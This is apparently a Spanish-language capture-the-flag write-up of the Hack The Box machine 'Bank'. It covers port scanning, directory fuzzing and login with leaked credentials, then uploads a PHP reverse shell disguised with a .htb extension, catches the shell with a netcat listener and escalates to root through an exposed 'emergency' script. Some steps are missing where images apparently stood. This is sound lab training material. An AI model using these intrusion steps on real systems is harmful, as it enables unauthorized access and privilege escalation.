PING 10.10.10.29 (10.10.10.29) 56(84) bytes of data.
64 bytes from 10.10.10.29: icmp_seq=1 ttl=63 time=170 ms
--- 10.10.10.29 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 169.631/169.631/169.631/0.000 ms
Podemos notar que se trata de una maquina Linux, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
❯ nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv 10.10.10.29 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-23 00:27 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 00:27
Completed Parallel DNS resolution of 1 host. at 00:27, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 00:27
Scanning 10.10.10.29 [65535 ports]
Discovered open port 53/tcp on 10.10.10.29
Discovered open port 22/tcp on 10.10.10.29
Discovered open port 80/tcp on 10.10.10.29
Completed SYN Stealth Scan at 00:27, 14.91s elapsed (65535 total ports)
Initiating Service scan at 00:27
Scanning 3 services on 10.10.10.29
Completed Service scan at 00:27, 6.39s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.29.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 8.79s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.70s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.01s elapsed
Nmap scan report for 10.10.10.29
Host is up, received user-set (0.18s latency).
Scanned at 2025-02-23 00:27:01 -03 for 31s
Not shown: 65531 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAMJ+YATka9wvs0FTz8iNWs6uCiLqSFhmBYoYAorFpozVGkCkU1aEJ7biybFTw/qzS9pbSsaYA+3LyUyvh3BSPGEt1BgGW/H29MuXjkznwVz60JqL4GqaJzYSL3smYYdr3KdJQI/QSvf34WU3pife6LRmJaVk+ETh3wPclyecNtedAAAAFQC1Zb2O2LzvAWf20FdsK8HRPlrx1wAAAIBIBAhLmVd3Tz+o+6Oz39g4Um1le8d3DETINWk3myRvPw8hcnRwAFe1+14h3RX4fr+LKXoR/tYrI138PJyiyl+YtQWhZnJ7j8lqnKRU2YibtnUc44kP9FhUqeAcBNjj4qwG9GyQSWm/Q5CbOokgaa6WfdcnwsUMim0h2Ad8YdU1kAAAAIBy3dOOD8jKHeBdE/oXGG0X9tKSFZv1gPr/kZ7NfqUF0kHU3oZTNK8/2qR0SNHgrZ2cLgKTIuneGS8lauXjC66NNMoUkJcMHpwRkYC0A86LDmhES6OuPsQwAjr1AtUZn97QjYu1d6WPfhTdsRYBuCotgKh2SBkzV1Bcz77Tnp56JA==
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc0rofjHtpSlqkDjjnkEiYcbUrMH0Q4a6PcxqsR3updDGBWu/RK7AGWRSjPn13uil/nl44XF/fkULy7FoXXskByLCHP8FS2gYJApQMvI9n81ERojEA0NIi6VZKP19bl1VFTk7Q5rEPIpab2xqYMBayb1ch7iP95n3iayvHEt/7cSTsddGWKeALi+rrujpnryNViiOIWpqDv+RWtbc2Wuc/FTeGSOt1LBTbtKcLwEehBG+Ym8o8iKTd+zfVudu7v1g3W2Aa3zLuTcePRKLUK3Q2D7k+5aJnWrekpiARQm3NmMkv1NuDLeW3amVBCv6DRJPBqEgSeGMGsnqkR8CKHO9/
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDH30xnPq1XEub/UFQ2KoHXh9LFKMNMkt60xYF3OrEp1Y5XQd0QyeLXwm6tIqWtb0rWda/ivDgmiB4GzCIMf/HQ=
| 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA8MYjFyo+4OwYGTzeuyNd998y6cOx56mIuciim1cvKh
53/tcp open domain syn-ack ttl 63 ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:27
Completed NSE at 00:27, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.08 seconds
Raw packets sent: 72878 (3.207MB) | Rcvd: 72496 (2.900MB)
Vemos que esta corriendo el puerto 22 correspondiente a un servidor SSH, el puerto 53 correspondiente a un servidor de nombres de dominio(DNS) y el puerto 80 correspondiente a un servidor web
Puerto 22 --> OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
Puerto 53 --> ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
Puerto 80 --> Apache httpd 2.4.7 ((Ubuntu))
Vemos tambien que el sistema operativo Linux que se encuentra corriendo en la maquina objetivo es un Ubuntu
1.3 whatweb
Para realizar el escaneo de tecnologías web, vamos a modificar el archivo hosts de la ruta "/etc/hosts" para que apunte al dominio "http://bank.htb/":
❯ sudo vim /etc/hosts
[sudo] password for t0mz:
Editamos y quedaría asi:
IP 10.10.10.29 <--> bank.htb
De tal manera que cuando entramos al navegador no nos va a salir la pagina por default de Apache ya que se efectúa correctamente la resolución de DNS, nos saldrá un login:
Ahora, vamos a realizar el escaneo de tecnologías web con "whatweb":
❯ wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bank.htb/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://bank.htb/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000012: 302 188 L 319 W 7322 Ch "# on atleast 2 different hosts"
000000006: 302 188 L 319 W 7322 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this"
000000008: 302 188 L 319 W 7322 Ch "# or send a letter to Creative Commons, 171 Second Street,"
000000004: 302 188 L 319 W 7322 Ch "#"
000000011: 302 188 L 319 W 7322 Ch "# Priority ordered case sensative list, where entries were found"
000000010: 302 188 L 319 W 7322 Ch "#"
000000002: 302 188 L 319 W 7322 Ch "#"
000000009: 302 188 L 319 W 7322 Ch "# Suite 300, San Francisco, California, 94105, USA."
000000005: 302 188 L 319 W 7322 Ch "# This work is licensed under the Creative Commons"
000000001: 302 188 L 319 W 7322 Ch "# directory-list-2.3-medium.txt"
000000003: 302 188 L 319 W 7322 Ch "# Copyright 2007 James Fisher"
000000007: 302 188 L 319 W 7322 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000291: 301 9 L 28 W 304 Ch "assets"
000000014: 302 188 L 319 W 7322 Ch "http://bank.htb/"
000000013: 302 188 L 319 W 7322 Ch "#"
000000164: 301 9 L 28 W 305 Ch "uploads"
000002190: 301 9 L 28 W 301 Ch "inc"
000045240: 302 188 L 319 W 7322 Ch "http://bank.htb/"
000095524: 403 10 L 30 W 288 Ch "server-status"
000192709: 301 9 L 28 W 314 Ch "balance-transfer"
Total time: 0
Processed Requests: 220560
Filtered Requests: 220540
Requests/sec.: 0
Vemos un directorio en concreto interesante que se llama "uploads" donde se almacena la subida de archivos, por lo que podría llegar a ser que la intrusión venga por ese lado
2- Explotación
2.1 Intrusión por hash no cifrado dentro de los directorios
Si revisamos directorio por directorio de los resultados de Fuzzing realizado con wfuzz, vamos a notar que en un directorio llamado "balance-transfer" que contiene aparentemente hashes cifrados:
Vamos a verificar que todos los hashes estén cifrados mediante el peso de los archivos utilizando expresiones regulares con la herramienta "curl", utilizamos el siguiente comando:
Vamos a iniciar sesión dentro del panel de login de la aplicación web:
Iniciamos sesión:
2.2 Explotación por mala entrada de archivos a la hora de subirlos
Vamos a irnos dentro del apartado de "Support" una vez estando dentro de la cuenta de Chris:
Se puede ver que tenemos un sistema de tickets en caso de fallo de la aplicación web, esto esta referido a la carpeta de "Uploads" realizado en el fuzzing, por que nos deja subir archivos, por lo que podríamos pensar que se podría subir un archivo malicioso dentro del servidor web para obtener una shell reversa, si recordamos en el escaneo de tecnologías web con whatweb, esta pagina web utiliza PHP, por lo que el código malicioso lo vamos a realizar en PHP, en mi caso voy a utilizar este código clásico:
Vemos que el desarrollador dejo comentarios dentro del codigo, entre ellos, uno interesante:
<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->
<a class='btn btn-primary' href='javascript:;'>
Choose File...
<input type="file" required style='position:absolute;z-index:2;top:0;left:0;filter: alpha(opacity=0);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";opacity:0;background-color:transparent;color:transparent;' name="fileToUpload" size="40" onchange='$("#upload-file-info").html($(this).val().replace("C:\\fakepath\\", ""));'>
</a>
Supuestamente, la extensión .HTB se ejecuta como .PHP por propósitos de Debugging, nosotros podemos aprovecharnos de esto para subir un archivo .HTB y que la pagina lo tome como .PHP
Ahora vamos a ponernos en escucha en nuestro Kali con netcat por el puerto 443:
❯ nc -nlvp 443
listening on [any] 443 ...
Y vamos a utilizar el enlace donde encodeamos el comando para obtener la shell reversa:
Se nos va a quedar cargando, pero si volvemos a la consola donde teníamos netcat en escucha por el puerto 443:
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.29] 52354
bash: cannot set terminal process group (1072): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bank:/var/www/bank/uploads$
Ya tendríamos acceso al servidor con privilegios de usuario
2.4 Obtención de la flag de usuario
La flag de usuario se encuentra dentro de la ruta "/home/chris/user.txt", ejecutemos un cat:
Si nos vamos a la carpeta raíz "/" y listamos los directorios:
www-data@bank:/$ cd /
cd /
www-data@bank:/$ ls
ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
www-data@bank:/$
Vamos a ir al directorio "var" y listamos los directorios:
www-data@bank:/$ cd var
cd var
www-data@bank:/var$ ls
ls
backups
cache
crash
htb
lib
local
lock
log
mail
opt
run
spool
tmp
www
www-data@bank:/var$
Vemos que hay un directorio que no corresponde con los directorios tradicionales de un sistema operativo Linux, concretamente la carpeta "htb", vamos a ir dentro de la carpeta y listar los directorios:
www-data@bank:/var$cd htb
cd htb
www-data@bank:/var/htb$ ls
ls
bin
emergency
www-data@bank:/var/htb$
Vamos a listar los directorios mas detalladamente para saber cual es un directorio y cual es un archivo:
www-data@bank:/var/htb$ ls -l
ls -l
total 8
drwxr-xr-x 2 root root 4096 Jun 14 2017 bin
-rwxr-xr-x 1 root root 356 Jun 14 2017 emergency
www-data@bank:/var/htb$
Vemos que "emergency" es un archivo, si le hacemos un cat para visualizar lo que contiene dentro:
www-data@bank:/var/htb$ cat emergency
cat emergency
#!/usr/bin/python
import os, sys
def close():
print "Bye"
sys.exit()
def getroot():
try:
print "Popping up root shell..";
os.system("/var/htb/bin/emergency")
close()
except:
sys.exit()
q1 = raw_input("[!] Do you want to get a root shell? (THIS SCRIPT IS FOR EMERGENCY ONLY) [y/n]: ");
if q1 == "y" or q1 == "yes":
getroot()
else:
close()
www-data@bank:/var/htb$
Parece que tenemos un código que esta hecho en Python que nos eleva los privilegios automáticamente :)
Se nos va a quedar así, pero si revisamos el código, tenemos que indicarle si queremos una shell como root, indicándole si SI o NO, le vamos a dar que si con la letra "Y":
www-data@bank:/var/htb$ python emergency
python emergency
y
Y si ejecutamos el comando "whoami":
www-data@bank:/var/htb$ python emergency
python emergency
y
whoami
root
3.1 Obtención de la flag root
La flag de root se encuentra dentro de la siguiente ruta "/root/root.txt", vamos a hacerle un cat para visualizar la flag: